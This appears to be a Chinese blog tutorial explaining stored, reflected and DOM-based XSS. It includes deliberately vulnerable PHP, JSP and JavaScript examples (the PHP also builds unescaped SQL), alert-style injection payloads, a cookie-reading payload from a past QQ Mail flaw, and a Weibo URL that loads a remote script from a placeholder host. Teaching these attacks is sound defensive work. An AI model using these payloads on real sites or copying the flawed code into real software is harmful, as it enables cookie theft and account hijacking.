詳解 XSS 攻擊原理
更多優質博文請關注:聽到微笑的博客
跨站腳本攻擊(Cross Site Scripting)本來的縮寫為CSS,為了與層疊樣式表(Cascading Style Sheets,CSS)的縮寫進行區分,將跨站腳本攻擊縮寫為XSS。因此XSS是跨站腳本的意思。
XSS跨站腳本攻擊(Cross Site Scripting)的本質是攻擊者在web頁面插入惡意的script代碼(這個代碼可以是JS腳本、CSS樣式或者其他意料之外的代碼),當用戶瀏覽該頁面之時,嵌入其中的script代碼會被執行,從而達到惡意攻擊用戶的目的。比如讀取cookie,token或者網站其他敏感的網站信息,對用戶進行釣魚欺詐等。比較經典的事故有:
一. 存儲型XSS攻擊
1.1 攻擊原理
存儲型XSS又稱為持久型XSS,是指:攻擊者將XSS代碼發送給了后端,而后端沒有對這些代碼做處理直接存儲在數據庫中。當用戶訪問網站時,又直接從數據庫調用出來傳給前端,前端解析XSS代碼就造成了XSS攻擊。
存儲型 XSS 的攻擊步驟:
- 攻擊者將惡意代碼提交到目標網站的數據庫中。
- 用戶打開目標網站時,網站服務端將惡意代碼從數據庫取出,拼接在 HTML 中返回給瀏覽器。
- 用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也被執行。
- 惡意代碼竊取用戶數據并發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作。
這種攻擊常見于帶有用戶保存數據的網站功能,如論壇發帖、商品評論、用戶私信等。

1.2 案例
某天,公司需要一個留言板,用戶可以自由輸入留言內容并提交。代碼如下:
<?php
$nickname = @$_POST['nickname'];//昵稱
$email = @$_POST['email'];//郵箱
$content = @$_POST['content'];//留言內容
$now_time = @$_POST['now_time'];//留言時間
$ini= @parse_ini_file("config.ini");
$con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]);
if($con){
mysql_query("set names 'utf8'");//解決中文亂碼問題
mysql_select_db($ini["dbname"]);
$sql1 = "select count(*) from message_board";
$result = mysql_query($sql1);
$floor = mysql_fetch_row($result)[0] + 1;
$sql = "insert into message_board values($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")";
mysql_query($sql);
}
?>
上線后不久,小李就在數據庫中發現了一些奇怪的留言:
<script>alert(1)</script>
打開留言板版后,彈出了如下彈框:

可惡,中招了!小李眉頭一皺,查看源代碼,發現攻擊代碼已經注入進來:

二. 反射型XSS攻擊
2.1 攻擊原理
反射型XSS又稱為做非持久型XSS,也是最常用,使用最廣的一種方式。它是指通過給別人發送帶有惡意腳本代碼參數的URL,當URL地址被打開時,特有的惡意代碼參數被HTML解析、執行。它的特點是非持久化,必須用戶點擊帶有特定參數的鏈接才能引起。
它的根本原因,是網站過于信任URL上的參數,不經過任何處理,直接拼接至頁面導致的問題。
反射型 XSS 的攻擊步驟:
- 攻擊者構造出特殊的 URL,其中包含惡意代碼。
- 用戶打開帶有惡意代碼的 URL 時,網站服務端將惡意代碼從 URL 中取出,拼接在 HTML 中返回給瀏覽器。
- 用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也被執行。
- 惡意代碼竊取用戶數據并發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作。
攻擊者可以通過郵件,或者搜索引擎等將帶有XSS攻擊代碼的鏈接投放給用戶,用戶點擊鏈接后,頁面會從URL上取出對應的參數,渲染到頁面上,此時攻擊代碼將會被執行。
2.2 案例
某天,公司需要一個搜索頁面,根據 URL 參數決定關鍵詞的內容。小明很快把頁面寫好并且上線。代碼如下:
<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
您搜索的關鍵詞是:<%= getParameter("keyword") %>
</div>
然而,在上線后不久,小明就接到了安全組發來的一個神秘鏈接:
http://xxx/search?keyword="><script>alert('XSS');</script>
小明帶著一種不祥的預感點開了這個鏈接[請勿模仿,確認安全的鏈接才能點開]。果然,頁面中彈出了寫著”XSS”的對話框。
可惡,中招了!小明眉頭一皺,發現了其中的奧秘:
當瀏覽器請求 http://xxx/search?keyword="><script>alert('XSS');</script> 時,服務端會解析出請求參數 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回給瀏覽器。形成了如下的 HTML:
<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
您搜索的關鍵詞是:"><script>alert('XSS');</script>
</div>
瀏覽器無法分辨出 <script>alert('XSS');</script> 是惡意代碼,因而將其執行。
這里不僅僅 div 的內容被注入了,而且 input 的 value 屬性也被注入, alert 會彈出兩次。
三. DOM型XSS攻擊
3.1 攻擊原理
DOM 型 XSS 的攻擊步驟:
- 攻擊者構造出特殊的 URL,其中包含惡意代碼。
- 用戶打開帶有惡意代碼的 URL。
- 用戶瀏覽器接收到響應后解析執行,前端 JavaScript 取出 URL 中的惡意代碼并執行。
- 惡意代碼竊取用戶數據并發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作。
DOM 型 XSS 跟前兩種 XSS 的區別:DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬于服務端的安全漏洞。
3.2 案例
某一天前端開發的一個頁面,需要回顯用戶在輸入框輸入的內容,代碼如下:
<div id="xssd_main">
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>
當用戶在輸入框輸入 #'onclick="alert('1_Ry')"> 時,頁面的源碼渲染為:

此時如果用戶繼續點擊生成的 <a>標簽,就會觸發腳本。
3.3 如何預防DOM型XSS攻擊
DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 代碼本身不夠嚴謹,把不可信的數據當作代碼執行了。
在使用 .innerHTML、.outerHTML、document.write() 時要特別小心,不要把不可信的數據作為 HTML 插到頁面上,而應盡量使用 .textContent、.setAttribute() 等。
如果用 Vue/React 技術棧,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 階段避免 innerHTML、outerHTML 的 XSS 隱患。
DOM 中的內聯事件監聽器,如 location、onclick、onerror、onload、onmouseover 等,<a> 標簽的 href 屬性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作為代碼運行。如果不可信的數據拼接到字符串中傳遞給這些 API,很容易產生安全隱患,請務必避免。
四. XSS攻擊的危害
上述示例中沒有對網站、用戶造成實際傷害,但是只需要將攻擊執行的腳本換成其他惡意代碼,比如說獲取用戶Cookie然后通過Ajax請求,將獲取到的用戶Cookie發送至攻擊者所搭建的服務器上,這樣用戶登錄態就被黑客盜取,帶來的后果可想而知。
但是腳本攻擊的危害遠遠不僅如此,包括但不限于:
- 通過 document.cookie 盜取 cookie中的信息
- 使用 js或 css破壞頁面正常的結構與樣式
- 流量劫持(通過訪問某段具有 window.location.href 定位到其他頁面)
- dos攻擊:利用合理的客戶端請求來占用過多的服務器資源,從而使合法用戶無法得到服務器響應。并且通過攜帶過程的 cookie信息可以使服務端返回400開頭的狀態碼,從而拒絕合理的請求服務。
- 利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻擊)用戶的身份執行一些管理動作,或執行一些一般的如發微博、加好友、發私信等操作,并且攻擊者還可以利用 iframe,frame進一步的進行 CSRF 攻擊。
- 控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力。
五. XSS攻擊案例
5.1 QQ 郵箱 m.exmail.qq.com 域名反射型 XSS 漏洞
攻擊者發現 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 這個 URL 的參數 uin、domain 未經轉義直接輸出到 HTML 中。
于是攻擊者構建出一個 URL,并引導用戶去點擊: http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用戶點擊這個 URL 時,服務端取出 URL 參數,拼接到 HTML 響應中:
<script>
getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...
瀏覽器接收到響應后就會執行 alert(document.cookie),攻擊者通過 JavaScript 即可竊取當前用戶在 QQ 郵箱域名下的 Cookie ,進而危害數據安全。
5.2 新浪微博名人堂反射型 XSS 漏洞
攻擊者發現 http://weibo.com/pub/star/g/xyyyd 這個 URL 的內容未經過濾直接輸出到 HTML 中。
于是攻擊者構建出一個 URL,然后誘導用戶去點擊:
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
用戶點擊這個 URL 時,服務端取出請求 URL,拼接到 HTML 響應中:
<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分類檢索</a></li>
瀏覽器接收到響應后就會加載執行惡意腳本 //xxxx.cn/image/t.js,在惡意腳本中利用用戶的登錄狀態進行關注、發微博、發私信等操作,發出的微博和私信可再帶上攻擊 URL,誘導更多人點擊,不斷放大攻擊范圍。這種竊用受害者身份發布惡意內容,層層放大攻擊范圍的方式,被稱為“XSS 蠕蟲”。
本文參考至:

浙公網安備 33010602011771號